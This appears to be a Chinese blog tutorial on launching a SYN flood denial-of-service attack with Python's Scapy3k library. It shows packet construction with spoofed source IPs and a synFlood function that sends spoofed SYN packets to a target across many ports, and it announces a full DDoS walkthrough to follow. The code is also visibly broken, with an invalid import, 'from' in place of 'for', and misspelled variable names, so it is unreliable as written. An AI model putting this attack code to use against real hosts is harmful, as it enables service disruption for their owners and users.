Python项目 基于Scapy实现SYN泛洪攻击的方法


Posted in Python onJuly 23, 2019

python3版本的Scapy--Scapy3k来实现一个简单的DDos。

首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:

sudo pip3 install scapy-python3

Python项目 基于Scapy实现SYN泛洪攻击的方法

现在学习一下scapy的使用方法:

sudo scapy(scapy发送数据包需要root权限)

Python项目 基于Scapy实现SYN泛洪攻击的方法

(警告信息是因为有一些依赖包没有安装,但是我们本次实验不需要使用我就不装了)

现在我们使用Scapy构造一个简单的数据包看一下:

pkt = IP(dst = "192.168.0.10")

Python项目 基于Scapy实现SYN泛洪攻击的方法

接下来我们就构造一个SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

Python项目 基于Scapy实现SYN泛洪攻击的方法

(我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的,IP包中我)们指定了源IP地址src和目的IP地址dst,其中src是我们伪造的地址,flags的值设定为S说明要发送的是SYN数据包)

代码实现:

具体代码如下:

import random
import scapy.all import *
 
def synFlood(tgt,dPort):
  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = stcList[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。本次实验就算完成,下次实验实现一个完整的Ddos过程。

以上这篇Python项目 基于Scapy实现SYN泛洪攻击的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python中getattr函数使用方法 getattr实现工厂模式
Jan 20 Python
Djang中静态文件配置方法
Jul 30 Python
Python的几个高级语法概念浅析(lambda表达式闭包装饰器)
May 28 Python
python OpenCV学习笔记实现二维直方图
Feb 08 Python
Python线程下使用锁的技巧分享
Sep 13 Python
python实现手机销售管理系统
Mar 19 Python
Numpy对数组的操作:创建、变形(升降维等)、计算、取值、复制、分割、合并
Aug 28 Python
Pyqt5自适应布局实例
Dec 13 Python
基于python的docx模块处理word和WPS的docx格式文件方式
Feb 13 Python
Python内置异常类型全面汇总
May 28 Python
Python中如何添加自定义模块
Jun 09 Python
python源文件的字符编码知识点详解
Mar 04 Python
Django logging配置及使用详解
Jul 23 #Python
Python利用scapy实现ARP欺骗的方法
Jul 23 #Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 #Python
提升Python效率之使用循环机制代替递归函数
Jul 23 #Python
深入了解Django View(视图系统)
Jul 23 #Python
Python Opencv任意形状目标检测并绘制框图
Jul 23 #Python
flask框架单元测试原理与用法实例分析
Jul 23 #Python
You might like
各种战术和打法的原创者
2020/03/04 星际争霸
业余方法DIY电子管FM收音机
2021/03/02 无线电
PHP读取文件并可支持远程文件的代码分享
2012/10/03 PHP
PHP中怎样保持SESSION不过期 原理及方案介绍
2013/08/08 PHP
使用新浪微博API的OAuth认证发布微博实例
2015/03/27 PHP
使用TextRange获取输入框中光标的位
2006/10/14 Javascript
一个判断email合法性的函数[非正则]
2008/12/09 Javascript
利用try-catch判断变量是已声明未声明还是未赋值
2014/03/12 Javascript
手机号码,密码正则验证
2014/09/04 Javascript
javascript实现自动输出文本(打字特效)
2015/08/27 Javascript
javascript中substring()、substr()、slice()的区别
2015/08/30 Javascript
jquery密码强度校验
2015/12/02 Javascript
laypage分页控件使用实例详解
2016/05/19 Javascript
把普通对象转换成json格式的对象的简单实例
2016/07/04 Javascript
jQuery zTree树插件简单使用教程
2017/01/10 Javascript
浅谈angularjs $http提交数据探索
2017/01/20 Javascript
jQuery自定义图片上传插件实例代码
2017/04/04 jQuery
jQuery绑定事件方法及区别(bind,click,on,live,one)
2017/08/14 jQuery
vue组件watch属性实例讲解
2017/11/07 Javascript
编写React组件项目实践分析
2018/03/04 Javascript
vue填坑之webpack run build 静态资源找不到的解决方法
2018/09/03 Javascript
JS实现的tab切换并显示相应内容模块功能示例
2019/08/03 Javascript
微信小程序webview与h5通过postMessage实现实时通讯的实现
2019/08/20 Javascript
Python3.x版本中新的字符串格式化方法
2015/04/24 Python
详解10个可以快速用Python进行数据分析的小技巧
2019/06/24 Python
Python爬虫库BeautifulSoup的介绍与简单使用实例
2020/01/25 Python
澳大利亚制造的羊皮靴:Original UGG Boots
2017/11/13 全球购物
《大自然的语言》教学反思
2014/04/08 职场文书
小学生期末评语
2014/04/21 职场文书
大学社团计划书
2014/05/01 职场文书
会计求职信
2014/05/29 职场文书
机械工程及其自动化专业求职信
2014/08/08 职场文书
依法行政工作汇报
2014/10/28 职场文书
社区法制宣传月活动总结
2015/05/07 职场文书
使用Djongo模块在Django中使用MongoDB数据库
2021/06/20 Python
css3应用示例:新增的选择器
2022/03/16 HTML / CSS